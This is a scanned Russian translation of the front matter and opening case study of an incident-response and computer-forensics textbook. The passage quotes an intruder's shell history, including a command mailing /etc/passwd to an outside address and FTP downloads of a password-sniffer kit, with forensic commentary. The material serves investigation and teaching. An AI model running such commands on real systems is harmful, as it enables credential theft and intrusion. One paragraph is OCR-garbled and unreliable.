ЗАЩИТА ОТ ВТОРЖЕНИИ
РАССЛЕДОВАНИЕ
КОМПЬЮТЕРНЫХ ПРЕСТУПЛЕНИЙ
КЕВИН МАНДИА
КРИС ПРОСИС
Издательство "ЛОРИ"

INCIDENT RESPONSE:
INVESTIGATING
COMPUTER CRIME
CHRIS PROSISE
KEVIN MANDIA
Osborne/McGraw-Hill
New York Chicago San Francisco
Lisbon London Madrid Mexico City
Milan New Delhi San Juan
Seoul Singapore Sydney Toronto

Incident response:
investigating computer crime
Chris Prosise, Kevin Mandia
Copyright 2002
All rights reserved
Защита от вторжений
Расследование компьютерных преступлений
Кении Мандиа, Крис Просис
Переводчик О. Труфанов
Научный редактор А. Головко
Корректор Н. Литвинова
Верстка Л. Федерякиной
Copyright © 2002 by The McGraw Hill Companies. All rights reserved.
McGraw Hill/Osborne
2600 Tenth Street
Berkeley, California 94710
U.S.A.
ISBN 0 07 213182 9
© Издательство "ЛОРИ", 2005
Изд. N : OAI (03)
ЛР N: 070612 30.09.97 г.
ISBN 5 85582 229 Х
Подписано в печать 01.01.2005 Формат 70x100/16
Бумага офсет N1 Гарнитура Нью Баскервиль Печать офсетная
Печ.л. 31 Тираж 1500 Заказ N3/05
Цена договорная
Москва, 123100, Шмитовский пр., д. 13/6, стр. 1 (пом. ТАРП ЦАО)
Телефон для оптовых покупателей: (095)259 01 62
WWW.LORY PRESS.RU

Эта книга посвящается всем сотрудникам
правоохранительных органов, которые должны
тщательчо исследовать огромные объемы данных
с помощью устаревшего оборудования, при слабой
подготовке, и при отсутствии времени.
Авторы
Моей матери, Дайане Хекторн, которая однажды
спокойно напомнила мне, когда я с раздражением
пытался научить ее использовать e mail: ---
"Вспомни, как я учила тебя читать."
Терпение тотчас же вернулось ко мне.
Кевин Мандиа
Эмилии, моей жене, за ее терпение и поддержку,
и моему отцу, за его интерес и поддержку.
Крис Просис

Об авторах
Кевин Мандиа
Кевин является директором Computer Forensics at Foundstone, Inc., занима-
ющейся проблемами безопасности в Интернете. Кевин --- хорошо извест-
ный специалист в области реагирования на компьютерные инциденты и су-
дебной экспертизы. Как специальный агент, консультант и инструктор,
Кевин приобрел большой опыт и квалификацию.
Кевин давно занимается обучением реагированию на инциденты. Он раз-
работал двухнедельный курс по реагированию на компьютерные вторжения
и дополнительный однонедельный курс по исследованию сетей специально
для ФБР. Кевин преподавал в Квантико около года, и почти 340 агентов
ФБР, специализирующихся на расследовании компьютерных вторжений,
прослушали его курс. Этот курс предназначался для тех людей, которые
должны знать работу компьютерных сетей, а также методы, используемые
для взлома сетей.
Кевин предоставлял также курсы по компьютерному вторжению для
других организаций, включая Государственный департамент, ЦРУ, НАСА,
Prudential, SIAC и ВВС.
Кевин сотрудничал с Центром защиты национальной инфраструктуры
ФБР, Центром специальных расследований ВВС, корпоративными органи-
зациями и государственными правоохранительными органами, помогая в
расследованиях. Он писал судебные распоряжения, письменные показания
под присягой и разработал специальное программное обеспечение для
электронного отслеживания и перехвата действий компьютерных хакеров.
Каждый год Кевин выступает на различных конференциях и мероприяти-
ях. Он получил степень бакалавра (B.S.) по компьютерным наукам в колледже
Лафайет и степень магистра (M.S.) по судебной экспертизе в университете
Джорджа Вашингтона. Кевин является резервистом Центра специальных
исследований ВВС.
Крис Просис
Крис является вице президентом Professional Services at Foundstone, где он
возглавляет службу подготовки в области компьютерной безопасности.
Крис имеет большой опыт в исследовании атак, проникновении и реагиро-
вании на инциденты. Он руководил при выполнении заданий по реагиро-
ванию на инциденты в секретных правительственных сетях, а также отве-
чал за безопасность некоторых самых больших корпораций мира.
Сооснователь Foundstone, Крис разработал и проводил курсы для пра-
вительственных и коммерческих фирм по реагированию на инциденты,
компьютерной и сетевой безопасности. Крис занимался разработками ра
бочих утилит, автоматических утилит сканирования и программного обес-
печения для реального времени обнаружения вторжения и отказа для ВВС.
Он начал свою карьеру в области информационной безопасности, будучи
офицером действительной военной службы Центра защиты информации
ВВС.

Об авторах
vii
Крис был основным докладчиком на таких конференциях как Networld
Interop, SC Magazine's Securing the E Business, и Forum of Incident Response
and Security Teams (FIRST). Он часто пишет для журналов и имеет постоян-
ную колонку по безопасности --- "Вопросы безопасности" в CNET по адресу
http://builder.cnet.com.
Крис получил степень бакалавра (B.S.) по электротехнике в университе-
те Дьюка и является сертифицированным профессионалом по безопасно-
сти информационных систем (CISSP).
О соавторе
Мэтт Пип
Мэтт Пип --- профессионал по вопросам реагирования на инциденты. Он
выполнил судебную экспертизу для более 100 федеральных расследований
в Центре специальных исследований ВВС, ФБР и других. Он также являет-
ся хорошим консультантом по информационной безопасности, по оценке
сетей и защите от атак и проникновения. Мэтт Пип доступен по адресу
matt@incidentresponsebook.com.
О технических редакторах
Клинтон Маг
Последние несколько, лет Клинтон Маг занимался вопросами обнаружения
вторжения и проникновения в области безопасности информационных
технологий. Будучи агентом контрразведки, он выполнял компьютерные
расследования, пользуясь секретными и доступными правительственными
сетями. В корпоративном мире мистер Маг участвовал в реагировании на
инциденты в компаниях из списка Fortune 500 и разработал комплексные
программы реагирования на инциденты. Мистер Маг выступал на различ-
ных конференциях и работал в комиссиях по реагированию на инциденты.
Майк Шема
Майк Шема является главным консультантом Foundstone, где он участво-
вал в разработке курса и в проведении занятий по реагированию на инци-
денты и безопасности. Он выполнил десятки договоров, связанных с реаги
рованием на инциденты и нарушениями системы безопасности, для
финансовых, информационных и правительственных клиентов. Он разра-
ботал методологии тестирования Web приложений. Мистер Шема получи и
степень бакалавра (B.S.) от университета Penn State.

БЛАГОДАРНОСТИ
Мы благодарим наших коллег, без помощи которых эта книга не была
бы завершена: Дорис и Гэри Гарднер, открывших мир трудных случа-
ен; Куртис Роуз, которая является основательным исследователем;
Скотта Ларсен, Скотта Крабтри и Криса Роблески за совместную
трудную работу; Эда Штроца за руководство, которому мы доверяли и
приветствовали; Кейта Джонса, Вильяма Чэна, Клинтона Мага, Май-
ка Шема и всех остальных; подполковника (в отставке) Анне Барт, ко-
торый научил, как получить максимум возможного из того, что есть;
Мата Пипа за его терпение; Джоэля Гармона и Рона Нгуена за их ин-
струкции в AFIWC; тренерский состав футбольной команды Лафайе
та 1988 г.; Мишеля Демпси за умение ждать; Джеймса Буффе за перс-
пективу; Дейвз Поплар и Лафалс, которые, к счастью, ничего не
внесли в эту книгу.
Мы хотели бы также поблагодарить К.Дж.Мозес, Бриан Хатчи
сон, Джека Вайлс, Джона Патцакис, Шона МакКрег, Джо Загорски
(Магистраль), Марка Звиллингер, Биг Сиг и Вил в Новом Орлеане,
Трента Тейема, Дэйва Ванзант и многих других в ФБР, AFOSI, и
AFCERT, которые нас учили ... мы надеемся однажды оказать им вза-
имную услугу.
Наконец, мы хотели бы поблагодарить весь персонал издательст-
ва Осборн. Наша глубочайшая благодарность Джейн Браунлоу, Эмме
Акер, Каролине Велш, Рос Дол, Мэрилин Смит, Лиза Теобалд, и
всем остальным.
\

Предисловие
Все, кто прочитал ежегодный обзор по компьютерным преступлениям
2001 г. ФБР/Института по компьютерной безопасности, вынуждены прий-
ти к единственному неизбежному заключению: компьютерные преступле-
ния никуда не исчезнут. Теперь не имеет значения, являетесь ли вы прави-
тельственным учреждением, большой, средней или маленькой компанией
или просто удаленным пользователем. В самом последнем исследовании по
компьютерным преступлениям, участниками которого были 500 человек,
более 85% подтвердили, что многое потеряли из за проблем в компьютер-
ной безопасности. Их общие потери за пять лет превысили $1 млрд.
Любая организация в Интернете может стать жертвой компьютерных
инцидентов, поэтому сейчас необходимо знать, как реагировать на них.
Адекватный ответ на сетевую атаку является трудной задачей. Целью атаки
могут быть компьютерные системы, однако эффективный ответ должен
быть мультидисциплинарным. Правильное реагирование на компьютер-
ный инцидент всегда будет включать правовой анализ и скорее всего вызо-
вет сопутствующие вопросы, связанные с прессой и акционерами, экспер-
тами страховых компаний, и, в конце концов, с высшим корпоративным
руководством.
Как и с любым типом враждебных инцидентов, часть работы, необходи-
мой для отражения атаки и идентификации злоумышленника, должна быть
проделана до возникновения атаки. Важно все правильно спланировать.
Но после возникновения враждебного события быстрый и продуманный
ответ просто необходим. Тем самым вы сможете предотвратить дальней-
шие потери и получить доказательства для преследования и идентифика-
ции злоумышленника. Любой исследователь с подготовкой судебного экс-
перта может получить доказательства преступного поведения, хранящиеся
в отдельном персональном компьютере, однако редко встречается опыт-
ный специалист в этой области. Трудно найти специалистов, которые мо-
гут выполнить такой ответ способом, сохраняющим все доказательства и
позволяющим в то же время оценить природу атаки, уровень подготовки
атакующего и возникшие повреждения. Эта книга является точным и ис-
черпывающим руководством по реагированию на инциденты.
В данной книге содержатся не только технические рекомендации, но и
юридические советы для понимания того, как эффективно разрешать инци-
денты. В дополнение к подробным инструкциям по реализации реагирования
на инцидент для всей совокупности атак, в книге представлены примеры ин-
цидентов, которые были ранее проанализированы в правительственном и ча-
стном секторе. Более того, показаны случаи, в которых методы реагирования
на инциденты были либо эффективны, либо нет.
Представленная книга является бесценным руководством для любого,
кто будет помогать своей организации отвечать на компьютерные атаки.
Она должна быть прочитана до того как реально произойдет враждебный

X
Предисловие
инцидент. Ее необходимо держать под рукой в качестве справочника, когда
произойдет неизбежная атака.
Марк Дж. Цвиилленгер
Марк Дж. Цвелиингявляется партнером в Kirkland & Ellis в Вашингто
НЕ, ОКРУГ КОЛУМБИЯ И главой Cyberlaw and Information Security Practice в
|
>111 i и 11|1(мкдс чем присоединиться к Kirkland & Ellis, он был судеб
|Hi|)iiM CCIPS (Computer Crime & Intellectual Property Section)
|n i n.i петиции США. В CCIPS мистер Цвилленгер возглавлял
уророн DOJ, ответственных за расследование случаев компью
ужения, включая атаки отказа в обслуживании, которые в боль
пи наблюдались на сайтах е коммерции в феврале 2000 г. Сей
мпммастся частной практикой и помогает компаниям
пи.т., минимизировать и компенсировать потери, возникающие
м | пищи лентах, планируя превентивные политики и выполняя внут
|
ы< I псдования электронных атак и краж частной информации. Он
п.HI правовую кибернетику в Колумбийской школе права в католи
пиисрситете. Он является также инструктором по праву в Found
/w loundstone.com).

Содержание
Благодарности
viii
Предисловие
ix
Введение
xv
ЧАСТЬ I ВВЕДЕНИЕ В ПРОБЛЕМУ
Глава 1 Конкретный пример: Свои и чужие
3
Противодействие атакам
4
Реальный инцидент
5
Итоги
14
Глава 2 Введение в реагирование на компьютерные инциденты 15
Цели реагирования на инцидент
16
Методология реакции на инцидент
16
Подготовка к инциденту
17
Выявление инцидентов
19
Первоначальная реакция
20
Формирование стратегии реакции на инцидент
22
Судебное дублирование
24
Исследование
26
Сетевой мониторинг
28
Восстановление
30
Выбор стратегии восстановления
31
Отчет
33
Итоги
34
Глава 3 Подготовка к реагированию на компьютерный инцидент 35
Идентификация жизненно важных активов компании
36
Подготовка отдельных хостов
37
Подготовка сети
52
Установка подходящей политики и процедур безопасности
56
Создание набора инструментов для реагирования на инциденты
71
Формирование команды реагирования на инциденты
74
Итоги
78
ЧАСТЫ! БАЗОВЫЕ ЗНАНИЯ
Глава 4 Рекомендации по исследованию
81
Проведение первичной оценки
82

xii
Содержание
Список вопросов при уведомлении об инциденте
83
Исследование инцидента
86
Формулировка стратегии реагирования
89
Итоги
92
Глава 5 Компьютерный судебный процесс
93
Учимся обращаться с доказательствами
95
Выполнение начального реагирования
100
Выполнение судебного дублирования
103
Использование Safeback
109
Использование утилит UNIX для судебного дублирования
118
Использование EnCase
120
Выполнение судебного анализа
125
Итоги
137
Глава 6 Изучение сетевых протоколов, ловушки и трассировка 139
Понимание TCP/IP
140
Инкапсуляция
141
Использование сетевого анализатора
156
Реализация ловушек и трассировки
158
Итоги
164
Глава 7 Выполнение сетевого наблюдения
165
Зачем выполнять сетевое наблюдение?
166
Доказательство на основе сети
167
Сетевая судебная экспертиза
170
Настройка системы
172
Выполнение наблюдения
180
Интерпретация сетевой атаки
201
Итоги
206
Глава 8 Дополнительные методы сетевого наблюдения
207
Цели профессиональных атакующих
208
Скрытое устройство каналов ICMP
213
Скрытое устройство каналов TCP без состояния
224
Скрытое устройство каналов HTTP
226
Обнаружение незаконных серверов
230
Итоги
231
ЧАСТЬ III ИССЛЕДОВАНИЕ СИСТЕМ
Глава 9 Начальное реагирование в системе Windows NT/2000 235
Создание инструментального набора реагирования
236
Сохранение информации, полученной во время
начального реагирования
239
Получение изменчивых данных досудебного дублирования
242

Содержан
ие
xiii
Выполнение углубленного, реального реагирования
253
Требуется ли выполнять судебное дублирование?
261
Итоги
262
Глава 10 Исследование системы Windows NT/2000
263
Где располагаются доказательства в системах Windows NT/2000
264
Настройка судебной рабочей станции
265
Выполнение исследования Windows NT/2000
269
Аудит файлов и кража информации
306
Действия в случае увольнения сотрудника
309
Итоги
310
Глава 11 Начальное реагирование в системах UNIX
311
Создание инструментального набора реагирования
312
Хранение информации,полученной во время
начального реагирования
314
Получение изменчивых данных до судебного дублирования
314
Выполнение углубленного реагирования
на действующей системе
330
Итоги
334
Глава 12 Исследование систем UNIX
335
Подготовка к критическому рассмотрению восстановленного образа 336
Проведение исследования UNIX
338
Итоги
356
ЧАСТЬ IV ИССЛЕДОВАНИЕ НЕЗАВИСИМЫХ ОТ ПЛАТФОРМЫ
ТЕХНОЛОГИЙ
Глава 13 Исследование маршрутизаторов
359
Получение изменчивых данных до выключения питания
360
Поиск доказательства
367
Использование маршрутизаторов в качестве инструментов ответа 372
Итоги
377
Глава 14 Исследование Web атак
379
До выключения питания
380
Поиск доказательства
380
Итоги
390
Глава 15 Исследование серверов приложений
391
Исследование инцидентов с сервером имен доменов
392
Исследование инцидентов с серверами FTP
395
Исследование инцидентов со службой RPC
400
Использование записей программ сетевого общения
для исследования инцидентов
401

xiv
Содержание
Обработка инцидентов, включающих Microsoft Office
402
Определение источника атак на приложения
405
Восстановление скомпрометированных серверов приложений
406
Итоги
407
Глава 16 Исследование инструментов хакера
409
Как компилируются файлы
410
Статический анализ утилит хакеров
414
Динамический анализ утилит хакеров
419
Итоги
434
ЧАСТЬ V ПРИЛОЖЕНИЯ
Приложение А Установление идентичности в киберпространстве 437
Исследование IP адресов
438
Исследование адресов MAP
453
Трассировка e mail
456
Исследование адресов e mail, псевдонимов,
имен пользователей и имен хостов
: 463
Раскрытие анонимности по юридическим каналам
464
Приложение В Политики информационной безопасности
и политики допустимого использования
467
Области политики информационной безопасности
468
Политика допустимого использования
469
Приложение С Законодательные акты
о компьютерных преступлениях
471
Федеральные законы о компьютерном вторжении
472
Федеральные законы
об интеллектуальной собственности
472
Приложение D Организации реагирования
475

Введение
Итак, реагирование на инциденты является интересной и развивающейся
областью компьютерной безопасности. Это --- область, где обычные сотруд-
ники смогут помочь в обеспечении правопорядка. Корпоративные сотруд-
ники и университетские студенты не будут собирать доказательства в слу-
чае убийства. Однако вполне допустимо, что жертвы компьютерного
преступления извлекли, сохранили и обработали электронные доказатель-
ства. Системные администраторы читают e mail сотрудников, осуществля-
ют мониторинг Web трафика, просматривают системы обнаружения втор-
жения, осуществляют мониторинг журналов хоста и гарантируют, что
сотрудники не используют корпоративные сети для каких либо кибермахи
наций. Поэтому системные администраторы являются теперь "сетевыми
полицейскими" и начальными следователями, когда происходит компью-
терное преступление. Это не простая задача. Цифровые доказательства из-
менчивы, повреждаемы или скрытны в большей степени, чем доказательст-
ва любого другого вида. Эта книга поможет вооружить и подготовить
системного администратора, смешивая знания из области следствия, судо-
производства и техники, необходимые для реагирования на инцидент.
ЦЕЛЬ НАПИСАНИЯ КНИГИ
Эта книга была написана с целью проиллюстрировать профессиональный
подход к расследованию инцидентов с компьютерной безопасностью. Не-
подготовленный системный администратор, офицер правоохранительных
органов или эксперт по компьютерной безопасности могут случайно разру-
шить ценное доказательство или не смогут обнаружить критически важные
признаки незаконной или неавторизованной активности во время расследо-
вания инцидентов с компьютерной безопасностью. Отсутствие подготовки
отнимает слишком много усилий для обнаружения внешних и внутренних
атакующих. Мы видели, как компьютерная судебная экспертиза развивалась
из эзотерического знания в частное эзотерическое знание, когда почти каж-
дая компания, которая выполняла судебную экспертизу, разрабатывала мно-
жество своих собственных утилит и не делилась ими ни с кем. В основном
обучение судебным навыкам доступно только персоналу правоохранитель
ных органов, хотя большая часть начального реагирования по защите от ин
цидентов ложится на повседневных, перегруженных системных администрв
торов. Поэтому в данной книге представлены подробные технические
примеры, демонстрирующие выполнение компьютерной судебной экспер
тизы и анализ. В многочисленных сетевых публикациях и книгах предлага
ются структура и руководство по реагированию на инциденты, но чаще все
го материал оказывается устаревшим или не совсем применимым к текущим
проблемам.

xvi
Введение
Авторское примечание
В книге намеренно используется фраза инцидент безопасности, а не
компьютерное преступление, при ссылке на множество неверных дейст-
вий, которые оставляют доказательство в запоминающей среде компью-
тера (или в оперативной памяти). Причина этого следующая: не каждый
инцидент будет компьютерным преступлением, а термин компьютерное
преступление предполагает вовлечение правоохранительных органов. Су-
ществует много инцидентов, которые организации предпочтут разре-
шить спокойно, эффективно и внутри компании.
ДЛЯ КОГО ПРЕДНАЗНАЧЕНА ЭТА КНИГА
Если вам звонят в два часа утра, потому что кто то взломал вашу Web стра
ницу, то эта книга для вас. Если руководство просит вас узнать, не посылает
ли другой сотрудник секреты компании конкуренту, то эта книга нужна
нам. Если вы получаете сообщение от паникующего пользователя, что его
машина продолжает зависать, то эта книга может оказаться вам полезной.
Данная книга предоставляет подробные, законодательно значимые техни-
ческие ответы, если необходимо:
Исследовать кражу исходного кода или секретной информации
Исследовать кражу файлов паролей или информации о кредитных
картах
Проанализировать спам или оскорбления и угрозы через e mail
Исследовать неавторизованные или незаконные проникновения в
компьютерные системы
Исследовать атаки отказа в обслуживании
Предоставить судебную поддержку при расследовании в случае уго-
ловного преступления, мошенничества, шпионской деятельности и
нарушения системы безопасности
Действовать в качестве основного центра в случае компьютерных ин-
цидентов и компьютерных судебных вопросов организации
Предоставить помощь на сайте для компьютерного поиска и наложе-
ния ареста
СПЕЦИАЛЬНЫЕ ЭЛЕМЕНТЫ, ОБЛЕГЧАЮЩИЕ ЧТЕНИЕ
Пиктограммы
Следующие пиктограммы представляют заголовки, которые встречаются
по всей книге:

Введение
Что может произойти
Кратко описывается инцидент, который может произойти. После каждого
инцидента показано, как реагировать или где искать доказательства, что
также имеет свою собственную специальную пиктограмму:
Где искать факты
Можно сразу при желании перейти к поиску доказательств.
Совет для правоохранительных органов
Эта пиктограмма представляет внутренние рекомендации, которые должны
выполнить сотрудники правоохранительных органов, что может помочь
корпоративной Америке.
Кроме того, повсеместно используются специальные пиктограммы, что-
бы выделить те самые незначительные детали, о которых часто забывают:
ВНИМАНИЕ
ОСТОРОЖНО
Сопутствующий Web сайт также является критически важным компо-
нентом книги, поэтому используется пиктограмма для каждой ссылки на
www.incidentresponsebook.com.
Элементы в рамке
В дополнение к пиктограммам используется также несколько врезок, кото-
рые встречаются по всей книге.
НАГЛЯДНЫЙ ПРИМЕР
Описываются реальные инциденты, которые вы исследовали, и предо-
ставляется внутренняя информация о их решении.
Пример инцидента
Представляется место действия преступления, предоставляется подробное
описание сценария. Это отличается рт элемента "Что может произойти",
так как сценарий предоставляется более подробно.

xviii
Введение
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Этот элемент представляет в тексте группу URL в Web.
Главы заканчиваются параграфом с названием "Итоги", который связыва-
ет всю информацию в главе и предоставляет общий смысл рассмотренного.
ПОСТРОЕНИЕ КНИГИ
Книга представляет собой логически последовательную методологию раз-
решения инцидентов --- от подготовки к инциденту до подробного описа-
ния технологии ответа. Методология объясняет правовые вопросы и про-
цесс принятия решений, связанный с разрешением инцидента. Кроме
того, впервые в печати описаны специальные технические действия, необ-
ходимые для исследования самых распространенных операционных сис-
тем и используемых приложений. В книге используются реальные приме-
ры того, где была создана среда, способствующая творческому решению
проблем судебной экспертизы.
Часть I: Введение в проблему
Все начинается с создания основ реагирования на инцидент с помощью
примеров и методологии. В этом разделе объединяются реальный опыт и
структурированная методология, дается четкое определение инцидента и
компьютерной безопасности. Кроме того, обсуждается вопрос о том, как
организация может разработать средства реагирования на инцидент, кото-
рые успешно защитят ее активы. Рассматривается процесс опроса: кого уве-
домлять и как быстро определить область исследования.
Часть II: Базовые знания
В этой части вводится общий процесс компьютерной судебной эксперти-
зы. Показаны подробные методы для судебного анализа и дается ответ на
более сложные вопросы, такие как, требуется ли выполнять физическое
побайтовое дублирование системы или логическую копию файлов. Рас-
сматривается, насколько важно знать правила сбора, хранения и обработ-
ки доказательств, а затем приводятся технические аспекты судебного дуб-
лирования жестких дисков и применения утилит, которые будут полезны
во время судебного анализа. Кроме того, разбираются технические вопро-
сы настройки сетевого ответвления.
Части III и IV: Исследование систем
и исследование независимых от платформы технологий
Когда мы, будучи розовощекими лейтенантами, начинали расследование
компьютерного преступления, то не решались дотронуться до клавиатуры
ни системе жертве, поскольку не знали, какие действия будут наиболее под-
ходящими. В ЧАСТЯХ III и IV показаны технические детали, требуемые для

Введение
xix
подтверждения и исследования инцидента. Здесь даются многочисленные
сценарии "Что может произойти", в которых описываются методологии
многих реальных атак. Затем идет раздел "Где искать факты", объясняю-
щий признаки этих атак. В части III рассматриваются расследования, вклю-
чающие распространенные операционные системы, в том числе Windows
NT, Windows 2000, Linux, Solaris и другие системы UNIX. В части IV рас-
сматриваются процедуры реагирования на наиболее распространенные
атаки на Web серверы, атаки на маршрутизаторы и атаки на серверы при-
ложений. Книга заканчивается обсуждением используемых хакером утилит
анализа.
Часть V: Приложения
В приложениях предоставляется дополнительный материал, который может
быть полезен при реагировании на инцидент. В киберпространстве трудно
установить идентичность --- здесь обсуждаются некоторые из связанных с
этим технических вопросов. Перечисляются ключевые области, которые
должны быть отнесены к политике безопасности, включая специальный
пример. Также предоставляются ссылки на организации реагирования на
инциденты, как правительственные, так и гражданские, и список наиболее
часто применяемых в США законодательных актов о компьютерных пре-
ступлениях.
СЕТЕВЫЕ РЕСУРСЫ
Надеемся, что эта книга окажется полезной как при подготовке сетевой бе-
зопасности, так и при реагировании на инциденты. Реагирование на инци-
дент часто зависит от технологии и требует специализированных утилит,
поэтому дается множество ссылок на сетевые ресурсы. Мы не можем конт-
ролировать эти сайты, однако создали сопутствующий Web сайт www.inci
dentresponsebook.com для поддержания текущих ссылок и обновления ме-
тодологий по мере необходимости. Если у вас есть предложения, утилиты
или методы, которые можно добавить, посылайте свой материал по адресу
authors@incidentresponsebook.com.

ЧАСТЬ I
Введение в проблему

ГЛАВА1
Конкретный пример:
Свои и чужие

4
Глава 1
С совершенствованием
компьютеров меняется характер преступлений и
компьютерной безопасности. Большая часть компьютерных инцидентов,
связанных с нарушением безопасности систем, рассматриваются как пре
ступления (включая кражу информации, промышленный шпионаж, неавто
ризованный доступ, продажу наркотиков, детскую порнографию и т.д.),
поскольку нарушаются законы. Сегодня приходится дополнительно учиты
вать как использование компьютеров, так и обширные технические знания
преступников. Бурное развитие цифровых персональных помощников
(устройств PDA), сетевых технологий, нового программного обеспечения,
новых операционных систем, а также смешение личных данных сотрудни
ков с корпоративными информационными ресурсами вместе с увеличением
вычислительных мощностей заставляет компании организовать:
Предотвращение кражи лицензируемой или важной корпоративной
информации
Защиту конфиденциальности и благосостояния сотрудников и клиен-
тов компании
Обеспечение целостности важных данных
Предотвращение прерывания обслуживания клиентов и сотрудников
Адекватное обучение персонала для решения этих проблем
Для любой компании очень важно обеспечить выполнение этих задач.
Основные способы их решения: точная реакция на инцидент, быстрое вос
становление и сдерживание атаки при расследовании инцидента, а также
юридические или административные действия против атакующих, причи-
нивших вред активам компании. В этой книге показаны различные методы
выяввления незаконных, неавторизированных и неприемлемых действий, а
также способы выявления нарушителей.
ПРОТИВОДЕЙСТВИЕ АТАКАМ
Одним из наиболее эффективных способов сдерживания компьютерных
преступлений является выявление конкретных виновников инцидентов!
Многие компании становятся жертвами компьютерных атак, включая вы-
могательство, кражу интеллектуальной собственности и другие сетевые
преступления. Многие атакующие надеются на свою неуязвимость и без-
наказанность. Они могут действовать из других стран, заметать следы,
проходить через множество промежуточных систем для скрытия своего
местоположения и не предполагают выдачу в случае обнаружения. Они
надеются на технические средства и недостатки в законодательстве, при-
числяя себя к "элите" хакерского движения. Действительно, существует
популярное выражение в органах правопорядка о том, что "ловят только
дураков", но предварительные мероприятии безопасности и обучение ме-
тодам реакции на инциденты позволяют пойман, даже самых квалифици
рованных атакующих.

Конкретный пример: Свои и чужие
5
Большинство корпоративных расследований достигают точки, когда толь-
ко вмешательство органов правопорядка может разрешить конкретный слу-
чай. Вряд ли сотрудники компании смогут законно открыть все двери, выя-
вить промежуточные компьютерные системы, проанализировать журналы
провайдеров Интернета или удаленных подключений, чтобы обнаружить не-
обходимый IP адрес. Рассмотрим, как компания может действовать совместно
с органами правопорядка, чтобы выявить виновных в незаконных сетевых
действиях.
ВНИМАНИЕ В рассматриваемом ниже примере реального расследования об-
суждается сотрудничество компании жертвы и ФБР (Федеральное
бюро расследований, FBI). Во время такого расследования пре-
ступник был обнаружен очень быстро. В публикации были изменены
имена и названия компании, атакующего, агентов ФБР и IP адреса.
РЕАЛЬНЫЙ ИНЦИДЕНТ
3 сентября 2000 года прервалась деятельность компании ABC Retailers. Ни
один из сотрудников ABC не смог обратиться к базе данных финансовых
транзакций, в которой отслеживались внутренние и внешние операции
ABC, что необходимо для проведения текущих сделок. Поскольку сотрудни-
ки не могли получить доступ к базе данных, они не проверили и текущие фи-
нансовые операции. Сотрудники не могли получать данные о клиентах ком-
пании, поэтому все операции были приостановлены примерно на 24 30 час.
Технический персонал ABC исследовал сервер, обеспечивающий базу
данных транзакций, и обнаружил, что некто подключился к серверу и стер
на диске файлы базы данных. Инженеры ABC начали исследование сервер-
ной системы, чтобы найти хоть какую то ниточку для разгадки тайны. На
сервере жертве работала операционная система UNIX, поэтому исследова-
ние началось с файла журнала, в котором записываются выполненные на
сервере команды. В журнале было видно, что опасные команды были вы-
полнены по учетной записи Bracer.
Посмотрим на файл журнала UNIX, который помог сотрудникам ABC и
агентам ФБР выяснить, что система ABC была взломана, скомпилирована
программа анализатора (sniffer) и удалена база данных. Приведем все 98
строк файла журнала, поскольку это поможет понять действия преступника.
Авторам приходилось анализировать сотни таких файлов, но данный файл
журнала хорошо демонстрирует преступные намерения атакующего и пол-
ное пренебрежение законом. В конце своей деятельности атакующий созна-
тельно удалил файлы и попытался разослать всем вошедшим в систему поль-
зователям издевательское сообщение "hacked into your system: have a nace
day" (Ваша система взломана, желаю успехов в работе). Конечно, это не яв-
ляется примером скрытной атаки и попыток сохранения анонимности.
Заметим, что все строки файла журнала пронумерованы для упрощения
поиска.
1) 1о
2)р

6
Глава 1
3)W
4)w
В четвертой строке атакующий ввел команду w (what, кто). Это типич-
ная операция атакующих, позволяющая узнать, кто зарегистрирован в сис-
теме в данный момент и какие команды выполняются этими людьми.
5) pwd
6) cat /etc/passwd
7) cat /etc/pass
8) cat /etc/passwd | mail  s ownd badboy@fantasy.com
9) cat /etc/passwd |mail  s owned badboy@fantasy.com
10) cat /etc/passwd |mail badboy@fantasy.com
В строках 6---10 атакующий обратился к файлу /etc/passwd для получе-
ния допустимых идентификаторов пользователей и возможной расшиф-
ровки паролей каждого пользователя. В строках 8 --- 10 атакующий попы-
тался отправить файл /etc/passwd по электронной почте (e mail) на адрес
badboy@fantasy.com. Трудно сказать, сработала ли эта команда, но синтак-
сис был правильным. Именно эти строки стали наиболее интересными для
агентов ФБР, которые начали поиск реального владельца адреса bad
boy@fantasy.com.
11) lynx packetstorm.securify.com
Атакующий попытался применить Web браузер Lynx, который можно
считать текстовой версией браузера Netscape. Атакующий попробовал под-
ключиться к популярному сайту о безопасности, чтобы загрузить программы.
12) ftp 31.27.11.7
13) ftp 31.27.11.7
Поскольку браузера Lynx не оказалось в системе, атакующий начал сеанс
FTP для загрузки файлов. Это еще один след взлома --- обращение к
31.27.11.7 зарегистрировано в файле журнала.
14) s  tla /sbin/
15) ls  tla /usr/sbin/
16) adduser
17) useradd
18) ls  tla /sbin/*user*
19) ls  tla /bin/*user*
20) ls  tla /usr/sbin/*user*
21) /usr/sbin/useradd
22) /usr/sbin/useradd bsmith
23) /usr/sbin/useradd bsmith
В строках 16 --- 23 атакующий (хотя и не с первого раза) создал в системе
новую учетную запись пользователя "bsmith". В строках 18 20 он попытался
найти программу useradd, которая необходима для добавления учетной за-
писи "bsmith".
24) ls  tla
25) pine

Конкретный пример: Свои и чужие
7
26) mail
27) mail
28) exit
29) ftp 31.27.11.7
30) mkdir ..hello
31) mv ss.tgz ..hello
32) cd ..hello
33) which tar
34) tar  zxvf ss.tgz
35) gunzip
36) gunzip  d ss.tgz
37) tar  xvf ss.tar
В строках 29 --- 37 атакующий загрузил файл ss.tgz (архивный файл в
UNIX). Затем он создал каталог "..hello" и поместил в него файл ss.tgz. Эту
программу анализатор атакующий настроил на сбор идентификаторов и па-
ролей пользователей.
38) cd ss 1.3
39)
ls
^
40) ./configure
41) make
В строках 40 и 41 атакующий попытался компилировать программу ана-
лизатор, но безуспешно. В строке 42 он искал заголовочный файл, который
привел к фатальной ошибке компиляции.
42) find /  name ip_var.h*
43) find
44) w
45) exit
В строке 45 атакующий завершил подключение. Наверное, ему потребо-
валось некоторое время (или браузер), чтобы найти нужный заголовочный
файл для компиляции программы анализатора.
46) ls
47) ftp 31.27.11.7
В строке 47 атакующий подключался по FTP к 31.27.11.7 для загрузки за-
головочного файла, необходимого для компиляции программы ss.
48) mkdir /usr/include/netinet
49) bash
50) ls
51) ls  tla
52) mv * .h ..hello
В строке 52 атакующий переместил файл в недавно созданный каталог
"..hello" (наверное, это был так необходимый ему заголовочный файл).
53) rm file.tar
54) ls
55) cd ..hello

8
Глава 1
56) ls
57) cd ss*
58) cd ss 1.3
59) ls
60) grep netinet
61) grep netinet *
62) pwd
63) pico
64) sed s/netinet/\/home/brucer/..hello
